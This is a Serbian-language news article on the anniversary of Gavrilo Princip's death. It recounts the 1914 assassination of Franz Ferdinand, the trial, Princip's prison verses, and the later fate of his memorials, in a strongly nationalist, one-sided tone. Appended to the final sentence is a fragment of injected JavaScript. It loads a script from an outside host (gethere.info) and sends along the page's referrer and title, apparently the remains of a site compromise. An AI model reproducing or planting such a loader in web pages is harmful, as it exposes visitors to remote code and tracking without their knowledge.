NAŠE ĆE SJENE HODATI PO BEČU: Na današnji dan umro Gavrilo Princip

"Tromo se vreme vuče, i ničeg novog nema, danas sve kao juče, sutra se isto sprema. Pravo je rekao Žerajić, taj srpski soko sivi - Ko hoće da živi nek mre, ko hoće da mre nek živi", urezao je mladobosanac na zatvorskoj limenoj porciji

Na današnji dan 1918. godine umro je srpski nacionalni borac Gavrilo Princip, atentator na austrougarskog prestolonasednika Franca Ferdinanda u Sarajevu na Vidovdan 1914.

Atentat na Franca Ferdinanda i njegovu suprugu Sofiji Beču je poslužio kao izgovor za vojnu invaziju na Srbiju, čime je izazvan Prvi svetski rat.

Princip je bio član tajne organizacije "Mlada Bosna", koja je atentat izvršila u znak protesta protiv austrougarske okupatorske politike i iz težnje većinskog srpskog naroda za oslobođenjem i ujedinjenjem.

Zbog atentata na prestolonaslednika Austrougarske 12. oktobra 1914. godine pred sud je izvedeno 25 mladih ljudi. Njih petorica bila su mlađa od 21 godine, što ih je, prema tadašnjem zakonu, činilo maloletnim. Osuđeni su 29. oktobra na dugogodišnje zatvorske kazne i smrt vešanjem.

Gavrilo Princip osuđen je na dvadeset godina zatvora, a kaznu je služio u češkom Terezinu, gde je i umro pre tačno 98 godina. Poslednje godine života zbog loših zatvorskih uslova, tamnovanja i mučenja veoma je oslabio.

Na zidu ćelije u kojoj je umro Princip je napisao: "Naše će sjene hodati po Beču, lutati po dvoru, plašiti gospodu...".

U znak sećanja na noć uoči atentata kada su se "mladobosanci" zakleli na grobu Bogdana Žerajića da će oni ostvariti njegovo započeto delo, na zatvorskoj limenoj porciji, Gavrilo je urezao stihove: "Tromo se vreme vuče, i ničeg novog nema, danas sve kao juče, sutra se isto sprema. Pravo je rekao Žerajić, taj srpski soko sivi - Ko hoće da živi nek mre, ko hoće da mre nek živi".

Nakon Prvog svetskog rata, posmrtni ostaci vidovdanskih junaka su 7. jula 1920. godine preneseni i sahranjeni u zajedničkoj grobnici u Sarajevu, a 1939. godine položeni u kapeli "Vidovdanskih heroja" na pravoslavnom groblju, na Koševu.

Kraljevina Jugoslavija postavila je spomen ploču na mestu gde je Princip izvršio atentat, ali su je okupatorske nemačke snage koje su došle u Sarajevo, uklonile 1941. godine i odnele na poklon nacističkom vođi Adolfu Hitleru.

Posle Drugog svetskog rata ponovo je postavljena spomen ploča sa natpisom:

"Sa ovoga mesta 28. juna 1914. godine Gavrilo Princip je svojim pucnjem izrazio narodni protest protiv tiranije i vekovnu težnju naših naroda za slobodom".

Ovu spomen ploču u proteklom ratu u BiH, 1992. godine maljem su uništili pripadnici muslimanske vojske, kao i Principove otiske stopa na mestu atentata koje su se nalazile ispred Muzeja "Mlade Bosne".

Rodna kuća Gavrila Principa, zapaljena je u Drugom svetskom ratu, a obnovljena 1964. godine kao muzej koji je čuvao uspomenu na junaka sa Tromeđe, sve do rata 1992-95. godine, kada je ponovo zapaljena.

Auto, Gavrilov pištolj i okrvavljena uniforma Franca Ferdinanda nalaze se u Vojnoistorijskom muzeju u Beču. Metak koji je ubio Ferdinanda izložen je u češkom gradu Konopište.s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';